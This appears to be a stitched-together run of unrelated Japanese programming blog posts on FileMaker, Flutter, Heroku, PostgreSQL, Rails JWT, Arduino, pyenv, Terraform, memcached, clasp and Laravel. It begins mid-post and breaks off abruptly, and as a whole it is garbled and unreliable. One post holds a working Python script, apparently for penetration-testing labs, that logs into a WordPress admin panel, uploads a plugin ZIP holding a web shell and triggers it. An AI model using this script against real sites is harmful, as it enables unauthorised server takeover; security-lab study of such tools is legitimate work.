<img width="981" alt="スクリーンショット 2020-03-08 午前0.21.05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/c2509448-550b-a3e8-e14c-6a182ab986c9.png">
テーブルは3つ使用してます。
 - photo (オブジェクトの実体を保存するテーブル)
 - utility (レイアウト用のテーブル)
 - library (HTMLのソースを保管するテーブル)

リレーションはWebビューアのパターンで使用しているのが
utility::zg_id_photo = photo::_id

ポータルのパターンで使用しているのが
utility::photo_IDs = photo::_id

になっています。


###スクリプト
<img width="1495" alt="スクリーンショット 2020-03-08 午前0.19.59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/596035a3-5d15-556d-50d2-7b173ede11fa.png">
<img width="1495" alt="スクリーンショット 2020-03-08 午前0.20.01.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91731/9add1fa9-669c-1b1d-1bc4-ffc66f347ac7.png">

スクリプトは2つ。
１つ目はレイアウトのボタンがクリックされた時にHTMLを生成してWebビューアに表示させるものです。
HTMLのテンプレートを読み込み、photo_IDsに設定されている関連レコードから必要な情報を取り出してHTML内に書かれている定数をSubstituteして1件分ずつコードを生成します。これを関連レコード数ループして、最終的にWebビューアに設定しています。

２つ目はWebビューアに表示された写真をクリックした時に呼び出されるスクリプトです。
これは引数としてIDを受け取って「関連レコードへ移動」で対象の写真をカードウインドウで表示します。


###ポイント
 - Webビューアにレンダリングしている写真は150x150のサムネイルをBase64エンコードしたものを使用しているので実際の写真ファイルが数MBであったとしても表示はそこまで遅くないと思います。
 - CSSをカスタマイズすればもっと見栄えよく作れると思いますが今回はそこまで時間が回せませんでした。（笑）
 - WebビューアからURLでFileMakerのスクリプトを呼ぶため拡張アクセス権「URLによるFileMakerスクリプトの実行を許可」を有効にしていないと動作しません。これに気付くのに半日掛かりました・・・
 - Windows版の方ではWebビューアをアクティブにした状態でCtrl＋ホイールスクロールすると倍率が変更出来るためサムネイルの大きさが変えられます。Explorerと同じ様な感じで使えるので便利だと思います。

###最後に
今回紹介したサンプルファイルは[こちら](https://www.dropbox.com/s/zc1ngphmfzbkfrw/photo.fmp12?dl=0)からダウンロード出来ます。

HTMLを使って組み込みするとなるとハードルが高い感じがしますが、まずはやりたいことをコーディングして動くことを確認してからFileMakerで置き換えていくとスムーズに実装できると思います。
出費を記録するウェブサイトを開発してみた。

今回は家計簿アプリを作ってみました。
経緯や学んだことなどを記載していきます。

今回作ったものはこんな感じです。
![スクリーンショット 2020-02-29 16.43.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/3098857d-ef55-32e9-6f19-059988a95f9d.png)

#言語やツール
・HTML,CSS
・Java
・JavaScript
・MySQL
・Heroku

#経緯
「そろそろ貯蓄をしなければ、、、」と思っていた今年の初めに家計簿をつけることを決意しました。しかし、なかなかつける習慣にならなかったので、「自分で作ればつける習慣がつくのでは」と思い立ち開発しました。シンプルで誰が触っても使いやすいを意識して開発しました。綺麗な円グラフを作成したかったので、chart.jsを使いました。

#できること
・ログインログアウト
・使った金額と内容、分類を登録
・月別に合計金額やその内訳など表示
・メールアドレスを指定して該当月の出費を送付

#学んだこと
###①chart.jsがすごい！
めちゃくちゃ綺麗にグラフを作成したい時に非常に便利でした。
最初はJavaの勉強がてらJavaでグラフを実装しようと思いましたが、あまり良いのがなかったため、今回こちらを利用しました。
あまり良いのがない、というのは、ウィンドウが新たに出てきたり、見た目がそれほどカッコよくなかったり、、、という意味です。
※Javaでグラフを実装する良い方法などあれば教えていただけると幸いです。

参考サイト：[Chart.jsでグラフを描画してみた](https://qiita.com/Haruka-Ogawa/items/59facd24f2a8bdb6d369)

###②メール送信機能は意外に簡単に実装できる！
今回、該当月の出費を入力されたメールアドレスに送付するという機能を実装しました。
下記サイトを参考にさせていただきましたが、非常に簡単に実装することができました。

参考サイト：[Java mailでメール送信する (Java)](http://isotai.hatenablog.com/entry/2017/02/26/180910)

#GitHub
[僕のGitHub](https://github.com/kazuma007/AccountBook)に今回のコードを載せましたので、
もし気になる方がいらっしゃいましたら、ご覧ください！

以上です。
flutterの環境構築しようとしたらハマった話

最近(2020年2月くらい)、flutterの環境構築でこんな感じでハマった人はいませんか？😭

```
Doctor summary (to see all details, run flutter doctor -v):

[!] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
    ✗ Android license status unknown.
      Try re-installing or updating your Android SDK Manager.
      See https://developer.android.com/studio/#downloads or visit https://flutter.dev/setup/#android-setup for detailed instructions.

*他の項目は省略
```
# Android toolchainのエラーが消えへん

本来であれば、こちらのコマンドで解決するはずなのですが、`flutter doctor --android-licenses`
下記のようにエラーになってしまいます。

```
$ flutter doctor --android-licenses
Android sdkmanager tool not found (Library/Android/sdk/tools/bin/sdkmanager).
Try re-installing or updating your Android SDK,
visit https://flutter.dev/setup/#android-setup for detailed instructions.
```

# 原因
結論から言えば、パッケージ名が変更された＆Flutterがまだこの変更に対応していないことが原因です。
Android StudioでAndroid SDK toolsのパッケージ名が、Android-SDK command line toolsに変更されました。
![6z0Wg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63060/db14a980-5691-7ff3-fa61-ecb0a9278ebc.png)

# 解決策
Android SDK > SDK Toolsの画面で、最下部の「Hide Obsolete Packages」のチェックを外します。
そうすると「Android SDK tools」が表示されます。
あとはインストールしていつも通りで解決👍

<img width="1008" alt="スクリーンショット 2020-03-08 9.49.52.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63060/e091c40a-a2a7-3306-2c4d-063dc5be1458.png">

そのうちflutterが対応してくれるとよいですね。
pickle

#pythonのデータをそのまま保存できます。

```py
import pickle


class T(object):
    def __init__(self, name):
        self.name = name

data={
    'a': [1, 2, 3],
    'b': ('test', 'test'),
    'c': {'key': 'value'},
    'd': T('test')
}

#バイナリで書き込み
with open('data.pickle', 'wb') as f:
    pickle.dump(data, f)

with open('data.pickle','rb') as f:
    data_loaded = pickle.load(f)
    print(data_loaded)
```
出力：

```text
{'a': [1, 2, 3], 'b': ('test', 'test'), 'c': {'key': 'value'}, 'd': <__main__.T object at 0x1145d0c50>}
```
GCP Compute Engine Ubuntu minimal のメモ

GCP の Compute Engine で Ubuntu minimal を選ぶとほとんど何もパッケージが入っておらずわけがわかりませんが、その対応を含めた自分用メモです。永久無料枠での使用前提

# Compute Engine 一般
* 永久ストレージは30GBまでいけるが目一杯使うとスワップパーティションを追加できずインスタンスも1つしか作れないから14GBくらいで作るといいかも
* [課金データを保存する](https://qiita.com/hnw/items/409d6b7c431ca5f74eb2) Cloud Storage と同じ場所にCompute Engineの仮想マシンを立てるのが良さげ
* Cronで定期ジョブを実行するだけなら仮想マシン作成時には何もポートを開ける必要がない
* 設定→使用量データのエクスポートから使用量データの記録を取るようにする

# Ubuntu Minimalの話
* [ゾーン永続ディスクの追加またはサイズ変更](https://cloud.google.com/compute/docs/disks/add-persistent-disk?hl=ja) でディスクを追加してスワップパーティションにする。追加できるディスクは最低10GBの大きさで、追加するとLinuxからは`/dev/sdb` と見えるから `mkswap /dev/sdb` して `/etc/fstab` に追加する。
* [Optimizing persistent disk performance](https://cloud.google.com/compute/docs/disks/optimizing-pd-performance?hl=ja) に従って`ext4`や`swap` パーティションのマウントオプションに `discard` を入れてもいいかも知れない
* `journald.conf` とか `logind.conf` を設定するとjournaldが起動しなくなったりブラウザからsshログインできなくなった
* `/etc/default/grub` のブートパラメーターを設定して`update-grub`しても効かない。代わりに `/etc/default/grub.d/50-cloudimg-settings.cfg` を編集して `systemd.unified_cgroup_hierarchy=1` と `cgroup_no_v1=all` を追加する。
* `sudo bash` でルートプロンプトを出す
* 最初に `apt-utils` と `whiptail` を入れてまともにパッケージインストールできるようにする
* 次に `vim-tiny` を入れて以下を作る

```config:/etc/apt/apt.conf.d/00myconf
APT::Install-Recommends 0;
APT::Get::Purge 1;
```

* `apt/sources.list` から `ubuntu-backports` を削除
* `tzdata`, `language-pack-en` をインストールする
* `localectl set-locale en_US.UTF-8` する
* `chrony` を削除して `metadata.google.internal` を時刻合わせ先として `/etc/systemd/timesyncd.conf` に設定し `timesyncd` を再スタートする(chronyを使いつづけても可。その場合 `dpke-reconfigure chrony` などで時刻合わせ先を設定)。`timedatectl status` で確認
* (`rsyslog` はログが煩いので削除する
* `dpkg-reconfigure unattended-upgrades` で更新を有効にし、`/etc/apt/apt.conf.d/50unattended-upgrades` を編集する
* `/etc/systemd/system.conf` と　`/etc/systemd/user.conf` に以下を入れる

```config
DefaultCPUAccounting=On
DefaultMemoryAccounting=On
DefaultTasksAccounting=On
DefaultIOAccounting=On
DefaultBlockIOAccounting=yes
DefaultIPAccounting=On
```
Herokuにwarファイルをデプロイする

こんにちは。今回はHerokuにwarファイルをデプロイする方法を記事にします。
今回はEclipseでwarファイルを生成した後、そのwarファイルをHerokuにデプロイします。

#必要なもの
3つあればデプロイできます。
①Herokuアカウント
②開発したJavaアプリケーション
③Eclipse
※Eclipseに関しては、簡単にwarファイルを生成するために必要なだけですので、warファイルをすでにお持ちの方は必要ないです。

#手順
###①Heroku上でプロジェクトを作成
"Create new app"→App nameにアプリ名を入力→"Setting"を押下→"Add Buildpack"を押下→"Java"を選択
今回は、アプリ名を「HerokuSampleProject」とします。

![スクリーンショット 2020-03-08 9.30.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/296c3511-f8c1-c49e-7837-fb92be9d542d.png)

###②Eclipseでwarファイルを生成
warファイルを生成したいプロジェクトを右クリック→「エクスポート」をクリック→「warファイル」をクリック
すると、下の画像のようなポップアップが表示されるので、宛先を選んだ（今回はDesktopにしました）後、「完了」を押下
<img width="527" alt="スクリーンショット 2020-03-08 9.17.44.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577071/6229c0fd-1dd0-a37e-af58-ba3078eced4c.png">

今回は、warファイル名を「HerokuSample.war」とします。
すみません、画像ではファイル名が「NewAccountBook_0307」となっておりますが、無視してください、、、。
なんてセンスのない名前だなんて、言わないでください。ありがとうございます。

###③Desktop直下に今回生成したwarファイルがあることを確認

###④ターミナルでDesktopに移動

```Terminal
$ cd Desktop
```

###⑤ターミナルでHerokuにログイン

```Terminal
$ heroku login
```

###⑥Herokuにwarファイルをデプロイ

```Terminal
$ heroku deploy:war --war HerokuSample.war --app HerokuSampleProject;  
```

###⑦アクセスしてみる。
できた！！！

以上です。
warファイルだとHerokuにデプロイしやすかったので、今回記事にしました。
Mac OS   で PostgreSQL が起動できない時の対処方法 for Ruby on Rails

# 前提
homebrew を使う

# 時々起こる問題の種類
- OpenSSLをUpdateするなど、homebrew でUpdateをかけた時に、再起動で失敗する
- PostgreSQLのVersionをあげて、DBデータを置き換えるのに手間取る

# 基本的な役割の確認
- homebrew ： インストール、アップデート
- Launchd : 起動


# homebrew の起動
こちら
https://qiita.com/takuya0301/items/c0720753de98572703b8

- 起動
- サービス状態のリスト表示

# postgres 起動後

## DB一覧

```
psql -l
```

DatabaseにRailsで利用するDatabase名があるか確認。なければつくる。

権限整合性がなくなるのを避けるため、psql で作らずに rails で作る。

```
rake db:create
rake db:migrate
```

DB作成で失敗したら、権限がないことを疑う。
エラーメッセージでわかる。

## ユーザー一覧
ターミナルで psql から postgres へ入る

```
psql postgres
```

postgres 内で操作

```
\du
```

ユーザーにRailsで設定したユーザーがあるか確認。なければつくる。

### ユーザー作成
postgres 内で操作

```
CREATE USER username;
```

CREATE ROLE と表示されたらOK

### ユーザーにDB作成権限をつける

postgres 内で操作

```
ALTER ROLE username CREATEDB;
```

こちら分かりやすい
https://eng-entrance.com/postgresql-role#i

# PostgreSQL DBデータ移行

こちらが分かりやすい

PostgreSQL DB のアップグレードは brew postgresql-upgrade-database が便利
https://qiita.com/yasulab/items/237c3f9634055d665745
d3.jsでforceSimulation

#概要

d3.jsでforceSimulationやってみた。

#成果物
https://embed.plnkr.co/wRBWk67BgQ2Rgn3yxJTx/

https://embed.plnkr.co/jiqvD67xPGkTpiLKi8Kv/

https://embed.plnkr.co/e9TyE01aFXVh2eiHKiFY/

https://embed.plnkr.co/nrBQqHHdjQmU5EQXhClv/

https://embed.plnkr.co/uMp0vM6y8E4cQiCOjtLi/

https://embed.plnkr.co/tley1H0GR9C01xF2xqHn/


以上。
Knock gemを用いてJWTで2種類のユーザーを認証する方法

RailsのAPIでJWTを使って単一のuserの認証システムを作っていましたが、途中でuser -> workerとなり、新たにrecruiterというのが出てくることになりました。
JWTの認証にはKnockというgemを使っていましたが、単一のuserに対して認証することが前提に作られていたので、少しカスタマイズします。

https://github.com/nsarno/knock

## modelの変更点

新たに出てきたrecruiterに関しても公式の手順に従ってtoken controllerなどを作成しておきます。
公式ページにも載っているように、カスタマイズするにはこの2つのmethodをいじればいいです。

まずKnockが生成するJWTの形を変更します。
defaultではsubというkeyにidが入っていますが、さらにclassを追加してあげることで、JWTを持っているのがworkerなのかrecruiterなのかという判別ができるようになります。

```ruby

class User < ActiveRecord::Base
  def to_token_payload
    # Returns the payload as a hash
    { sub: id, class: self.class.to_s }
  end
end
```

ここではworker or recruiterを探す時にJWTにclassが入っているかを確認するように変更しています。

```ruby

class User < ActiveRecord::Base
  def self.from_token_payload payload
    # Returns a valid user, `nil` or raise
    # e.g.
    # defaultではこうなっている
    # self.find payload["sub"]

    find payload['sub'] if payload['class'] && payload['class'] == to_s
  end
end
```

## 認証メソッドの変更点

defaultのKnockではworkerに対して、認証するには`authenticate_worker`を使えば認証が動くようになっていました。
ここではrecruiterも追加されたので、2つを認証する方法について解説します。

実装は以下のようになります。
`authenticate_user`というメソッドの内部でJWTの中身のclassに応じて条件分岐して、`authenticate_xxx`メソッドを実行するようにします。

```ruby:application_controller.rb

class ApplicationController < ActionController::API
  include Knock::Authenticable
  before_action :authenticate_user

  def authenticate_user
    class_name = Knock::AuthToken.new(token: token).payload['class']
    return unless class_name

    case class_name.constantize
    when Worker
      authenticate_worker
    when Recruiter
      authenticate_recruiter
    end
  end
```

もし、あるcontrollerだけはrecruiterからは操作できないようにしたい時があれば、以下のようにします。

```ruby:xxx_controller

class XxxController < ActionController::API
  skip_before_action :authenticate_user
  before_action :authenticate_worker
end
```
73円の7セグLEDを光らせる！

# 最初に
73円の7セグLEDを入手したのでArduinoで光らせてみました。

## 用意するもの

**Arduino IDEがインストールされたパソコン**
私はMacbookProにインストール済みでしたのでそれを利用します。

**Arduino UNO互換機**
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/3692b5e4-3800-7380-bcfe-8c5b2e530b58.png">
https://www.amazon.co.jp/gp/product/B013QV28CW/ref=ppx_yo_dt_b_asin_title_o08_s00?ie=UTF8&psc=1

**TM1637が組み込まれた7セグLED(4桁)**
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/4ce296b8-61c4-8857-770e-6173b76eb6bc.png">

**73円！**という価格です。
https://ja.aliexpress.com/item/4000174141889.html?spm=a2g0s.9042311.0.0.27424c4dboG22l
<img width="600" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/bb4762ab-037f-3cdb-3d59-ca0fe5e682cc.png">


**配線(4本)**
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/44065abb-1124-eade-f09e-4e47e6a13bd7.png">
https://www.amazon.co.jp/gp/product/B00P9BVKOK/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&psc=1

# 手順
## 1.チップ確認
7セグLEDに実装されているチップ番号を確認します。
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/41da8b51-ca78-c501-6f52-db4eef6dec4a.png">

間違えなく、TM1637ですね…
これをベースにArduinoのライブラリを検索していきます.

## 2.Arduino IDEでライブラリの検索
Arduino IDEを開きます。
「スケッチ」＞「ライブラリのインクルード」＞「ライブラリの管理」でライブラリマネージャを開きます
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/a0b979c0-6a9e-3c89-7565-dc8f89fdf7cd.png">

ライブラリマネージャで「TM1637」を検索し、ライブラリを検索します。
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/9b475865-3d6e-3435-d105-4c8b68369b56.png">


今回は「TM1637」という、そのままのライブラリを見つけたのでこれをインストールします。

## 3.スケッチ例を選択
ライブラリをインストールするとスケッチ例が追加されています。
「ファイル」＞「スケッチ例」＞「TM1637」＞「TM1637Test」を選択します
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/e437f4bf-86a3-b927-6a0d-cb4275243a5d.png">

スケッチ例が開くので、中身を確認します。
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/8e49fd73-8ef5-e101-43ca-d11010d10caa.png">

最初の部分に`Module connection pins`と書いてあります。
この部分にLEDのピンを挿せば動くようです。

## 4.配線
前回確認したコードを参考に、配線をこのようにしてみます。
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/c83fe104-b649-6257-ee3c-5a48bc13ccf9.png">

実際に接続したものがこちら
<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/cedb8776-504a-984e-92ab-1f8e2a1a1484.jpeg">


## 5.書き込み and 動作確認

ArduinoとPCをUSBで接続し、書き込みボタンを押せば完了です。
こんな感じで光ります。


# 感想
細かいディスプレイも良いですが、こういうLEDを光らせるとかっこいいですよね。
自分で制御できるのも楽しいです。。
![ダウンロード.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89227/9a36bd02-b222-c26d-0a4d-4d8ee2549bcd.gif)



# 備考
今回の内容を動画にしてみました。
ご参考に共有です。

[![IMAGE ALT TEXT HERE](http://img.youtube.com/vi/ylgPLTku4yI/0.jpg)](http://www.youtube.com/watch?v=ylgPLTku4yI)
Mac OS 

# デバイス容量
## システム容量が異様に大きい

- セーフブートする（電源を切った状態で、shift押しながらブートする）
- NVRAMをリセットする

上記2つはよく見る手法、とりあえずやってみてから本番（どうせ解決しない）。
まずは問題の切り分けのために、本当にどこで容量を食っているのかを確認する。「このMacについて＞ストレージ＞管理」からでは正確な容量がわからないので、Finderから確認する。

Machintosh HDを選択して、フォルダのサイズを見る（サイズが表示されない場合は、「表示＞表示オプション＞全てのサイズを計算」にチェックを入れる）。 すると次のスクショの様な数字が見える。

![ScreenShot 2020-11-09 18.40.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/137120/eb7d0bab-4d6d-2d98-25c8-810de857e621.png)

この時点で、敵はシステムではなくって、単に自分で作ったファイルが問題だということが分かる（もちろんこの結論は、この画像のような結果になった場合）。あとはフォルダを開けていって、消して良さそうなファイルをひたすら消すだけ。

# Bash 
- bach_profile：ログイン時にのみに実行される
- bashrc : bach起動時に毎回実行される

# Python
Pythonはバージョン間の互換性がないので、必要に応じて使用するバージョンを切り替えれることが望ましい。バージョン管理にはAnacondaかpyenvを使ったりできるが、これらを同じマシンの中に入れることは推奨されない。以下ではpyenvの導入方法について説明する。
**python のバージョンを上げることは、かなりの労力を使うので、気軽にアップデートしないことを推奨する！（pythonを挙げないつもりでもvimのバージョンを上げるとpythonが3.7->3.8になったりとか...。色々困るので要注意。）**

- pyenv 
    - pythonのバージョン管理ツール
- pip
    - pythonのパッケージ管理ツール

## pyenv
pythonのバージョンを簡単に切り替えることができるようにしてくれるツール。

```shell
brew install pyenv
```

bashに書き込めばpyenvコマンドが使えるようになる。

```shell
echo 'eval "$(pyenv init -)"' >> ~/.bach_profile
```

### オプション一覧

|`pyenv + <option>`|説明|
|:-:|:-:|
|install -l |インストールできるバージョンの確認|
|install <version>| あるバージョンをインストールする |
|versions| 自分の環境にインストールしているバージョンの確認 |
|global <version>|マシン全体でのpythonのバージョンを切り替える|
|local <version>|カレントディレクトリ以下でのpythonのバージョンを切り替える|


### CUDAのインストール
ConnpassイベントをSlack通知するツールを作ってTerraform化してみた

Connpassの勉強会情報をSlack通知するツール（python）を作ってterraformでデプロイ自動化してみました。
ものはこちら → https://github.com/ishim0226/ConnpassToSlack

いくつかパラメータセットしてapplyするだけなので、数分でデプロイできます。

## 作った背景

普段、インフラエンジニアとして働いておりプログラミングすることがあまりないので、勉強してみたいと思ったのがきっかけです。
どうせならインフラ部分のスキルを掛け合わせたいと思い、クラウド上でインフラコード化を前提に考えた結果、このようなものを作ってみました。
おかしな箇所ありましたら、コメントいただけると幸いです。

## ツールの特徴

ざっくり特徴をあげると、以下のようなものです。

- 新規追加されたイベントまたは、更新があったイベントのみ通知します。（通知済みイベントをDBで管理してます）
- 以下で通知するイベントをフィルターできます。
    - キーワード（複数のOR指定が可能、※ANDや除外はできません）
    - 開催場所（複数のOR指定が可能、※ANDや除外はできません）
    - 一度、通知したイベントに更新があったときの通知有無（デフォルトは「通知しない」）
- 数分でデプロイできます。
- 低コストです。AWS利用料がかかりますが、おそらく数百円/月もいかないくらいです。

## 処理の概要
CloudwatchEventsでLambdaを定期実行し、取得したEventをDynamoDBへ流します。
その後、DynamoDBStreamにより実行されたLambdaにてSlack WebhookURLを叩き、Slackへ通知します。
※Slack WebhookURLの取得方法は [SlackのWebhook URL取得手順](https://qiita.com/vmmhypervisor/items/18c99624a84df8b31008) が参照になります。

### アーキテクチャ図
![architecture.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/420612/569dd2fb-5e74-537e-b8c7-8e82945ddc5a.jpeg)

## 実行までの流れ

※詳細は [Readme](https://github.com/ishim0226/ConnpassToSlack/blob/master/README.md) を参照ください。

1. [Repository](https://github.com/ishim0226/ConnpassToSlack) をCloneします。
2.  パラメータ（terraform/variables.tf）を編集します。<br>ここでフィルター条件や実行時間、Slack通知先などを設定します。
3. terraform実行してデプロイ完了

実行時間を迎えると、以下のようなSlack通知が飛びます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/420612/8205d453-0085-58d5-eb1d-d5bc0cc460c6.png)

## 参考URL

- [TerraformでLambda(Cron起動)を構築する](https://qiita.com/fukushi_yoshikazu/items/e68ca839e0a56152ab85)
- [Python で DynamoDBを使う](https://qiita.com/inouet/items/64535fb89a2c46edf367)
- [Aws Lambda をローカルで実行する](https://qiita.com/ekzemplaro/items/b1d70e9e82d1c19bbc97)
- [SlackのWebhook URL取得手順](https://qiita.com/vmmhypervisor/items/18c99624a84df8b31008)
memcached

#memcachedのインストール

```
brew install memcached
```
#ドライバのインストール

```
pip install python-memcached
```

#memcachedを起動

```
memcached -vv
```

```py
import time
import memcache


db = memcache.Client(['127.0.0.1:11211'])

db.set('web_page', 'value1',time=1)
time.sleep(2)
print(db.get('web_page')) #1秒経過すると消えてしまうので何も表示されない

db.set('counter',0)
db.incr('counter',1)
db.incr('counter',1)
print(db.get('counter')) #2
```
WordPressのプラグインをアップロードするスクリプトを書いてみた

1.目的
---
WordPressを攻略するときに、WebShellをアップロードするお手軽なスクリプトが欲しかったが、Webに見つからなかったのでMetasploitのwp_admin_shell_uploadモジュールの通信を参考にして書いてみた。

2.コード
---

```python:wp_plugin_upload.py
#!/usr/bin/python
# coding: utf-8

import requests
import sys
import bs4

url = 'http://10.11.XX.XX'
loginUri = '/wp/wp-login.php'
adminUri = '/wp/wp-admin/'
pluginUri = '/wp/wp-admin/plugin-install.php?tab=upload'
uploadUri = '/wp/wp-admin/update.php?action=upload-plugin'
uploadFile = {'pluginzip': ('exploit_plugin.zip', open('exploit_plugin.zip', 'rb'), 'application/octet-stream', {'Content-Transfer-Encoding': 'binary'})}
exploitUri = '/wp/wp-content/plugins/exploit_plugin/exploit.php'

# Headers
headers = {'wordpress_test_cookie':'WP+Cookie+check', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'}

try:
    # Session
    s = requests.Session()

    # Login
    loginData =  {'log':'admin', 'pwd':'XXXX', 'redirect_to':url + adminUri, 'wp-submit':'Login', 'rememberme':'forever', 'testcookie':'1'}
    r = s.post(url + loginUri, data=loginData)
    r.raise_for_status()

    # Plugin Install Page
    r = s.get(url + pluginUri, headers=headers)
    r.raise_for_status()

    # Get Hidden Param _wpnonce 
    # <input id="_wpnonce" name="_wpnonce" type="hidden" value="fdccb03ee7"/>
    # <input name="_wp_http_referer" type="hidden" value="/wp/wp-admin/plugin-install.php?tab=upload"/>
    # <input id="pluginzip" name="pluginzip" type="file"/>
    # <input class="button" id="install-plugin-submit" name="install-plugin-submit" type="submit" value="Install Now"/>
    bs4obj = bs4.BeautifulSoup(r.content, 'html5lib')
    wpnonce = bs4obj.find('input',id='_wpnonce')
    # print wpnonce['value']

    # Zip Upload
    multiPartData = {'_wpnonce':wpnonce['value'], 
                 'wp_http_referer':'/wp/wp-admin/plugin-install.php?tab=upload',
                 'install-plugin-submit':'Install Now'}

    r = s.post(url + uploadUri, files=uploadFile, data=multiPartData, headers=headers)
    r.raise_for_status()

    # Exploit Run
    r = s.get(url + exploitUri)
    r.raise_for_status()

except requests.exceptions.RequestException as e:
    print(e)
    sys.exit(1)

print(r.status_code)
# print(r.text)
```

3.使い方
---
スクリプトと同じフォルダに圧縮したZIPファイル(exploit_plugin.zip)を置いておくとWordPresspのpluginsフォルダにアップロードしてくれます。また、実行にはパスクラックなどでWordPressのアカウントを取得しておく必要があり、IPアドレスなどは環境に応じて書き換えます。

```
$ python wp_plugin_upload.py
```
※正直、しょぼいスクリプトなので参考程度にしてください。
初心者によるプログラミング学習ログ 256日目

#100日チャレンジの256日目
twitterの100日チャレンジ#タグ、#100DaysOfCode実施中です。
すでに100日超えましたが、継続。
100日チャレンジは、ぱぺまぺの中ではプログラミングに限らず継続学習のために使っています。
256日目は、

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">おはようございます<br>256日目<br>・youtubeでwebサイト模写<a href="https://twitter.com/hashtag/%E6%97%A9%E8%B5%B7%E3%81%8D%E3%83%81%E3%83%A3%E3%83%AC%E3%83%B3%E3%82%B8?src=hash&amp;ref_src=twsrc%5Etfw">#早起きチャレンジ</a><a href="https://twitter.com/hashtag/%E9%A7%86%E3%81%91%E5%87%BA%E3%81%97%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%A8%E7%B9%8B%E3%81%8C%E3%82%8A%E3%81%9F%E3%81%84?src=hash&amp;ref_src=twsrc%5Etfw">#駆け出しエンジニアと繋がりたい</a><a href="https://twitter.com/hashtag/100DaysOfCode?src=hash&amp;ref_src=twsrc%5Etfw">#100DaysOfCode</a></p>&mdash; ぱぺまぺ@webエンジニアを目指したい社畜 (@yudapinokio) <a href="https://twitter.com/yudapinokio/status/1236393446820073472?ref_src=twsrc%5Etfw">March 7, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
clasp で rootDirを独自に設定している時の.claspignore

# 問題になっていたこと
```json:.clasp.json
{
  "scriptId": "<SCRIPT_ID>",
  "rootDir": "dist"
}
```

のように設定しつつ

```text:.claspignore
**/*
!dist/**
```

と設定している状態で `clasp push` を実行すると、以下のエラー

```bash
  code: 400,
  errors: [
    {
      message: 'Project contents must include a manifest file named appsscript.',
      domain: 'global',
      reason: 'badRequest'
    }
  ]
```

この時のファイルの状態は

```
.claspignore
.clasp.json
src/
  hoge.js
dist/
  appsscript.json
  hoge.gs
```

# 原因
`clasp status` を実行すると

```bash
Not ignored files:

Ignored files:
└─ dist/appsscript.json
└─ dist/hoge.gs
```

と出力された。

`.claspignore` のファイルパスは、 `.clasp.json` で変更された `rootDir` に影響される模様。
すなわち、 `.claspignore` で指定するパスは、 `rootDir` で指定されたパスを起点に記述する必要が有る。

# 解決方法
```json:.claspignore
!appsscript.json
!*.gs
```
と指定すれば、 `clasp push` の対象となった。
【Laravel】MassAssignmentExceptionへの処方箋



#はじめに
MassAssignmentExceptionは新しくModelクラスを作成して、複数代入してデータをDBに保存しようとすると起こるエラーです。Laravel初心者の時はモデルを作成し時は必ず起きていました。。。

##複数代入時の問題点
複数代入でDBに保存するメソッドは`create`があります。
createメソッドを使う時は下記のようなコードになるかと思います。

```php:
$user =User::create($request->all());
```

これではフォームからの入力値を完全に信じて保存処理を行いますので、
入力フォームにない項目でもDBに該当する属性があれば保存されてしまいます。

だからLaravelでは「新しく作成したModelクラスから複数代入で属性（カラム）を保存しようとしていますが、その属性（カラム）を保存していいのかわかりません」というエラーを出るようになっています。

##どうすればいいか
上記のことから、やらなければならないことは「保存していい属性（カラム）のリスト（ホワイトリスト）か保存してはいけない属性（カラム）のリスト（ブラックリスト）を設定する」です

例えばこの設定をしてない場合、あるユーザーを管理者(administrator)に昇格できてしまいます。
その方法はHTTPパラメータでis_adminパラメーターを送り、モデルのcreateメソッドに対して渡すことで、ユーザーを管理者に昇格させます。それはとてもまずい

#リストの設定はモデルにプロパティを定義するだけ
では次に、実際の設定方法について説明します。
ホワイトリスト、ブラックリストともに設定方法はほとんど同じです。
下記のようにモデルクラスに$fillable、$guardedプロパティを定義します。
注意することは$fillableと$guardedは両方設定することはで来ません。どちらか１つだけ定義するようにしてください。

##ホワイトリストの設定は`$fillable `をモデルに定義する
まず、ホワイトリストの設定方法について説明します。
下記の例で`User`モデルに対して`name`属性を複数代入で保存できるようにしました
`name`以外の属性は複数代入で保存することができません。

```php:app/User.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    /**
     * 複数代入する属性
     *
     * @var array
     */
    protected $fillable = ['name'];
}
```



##ブラックリストの設定は`$guarded `をモデルに定義する
次に、ブラックリストの設定方法について説明します。
下記の例では、`User`モデルの`id`属性を保存されないようにしました
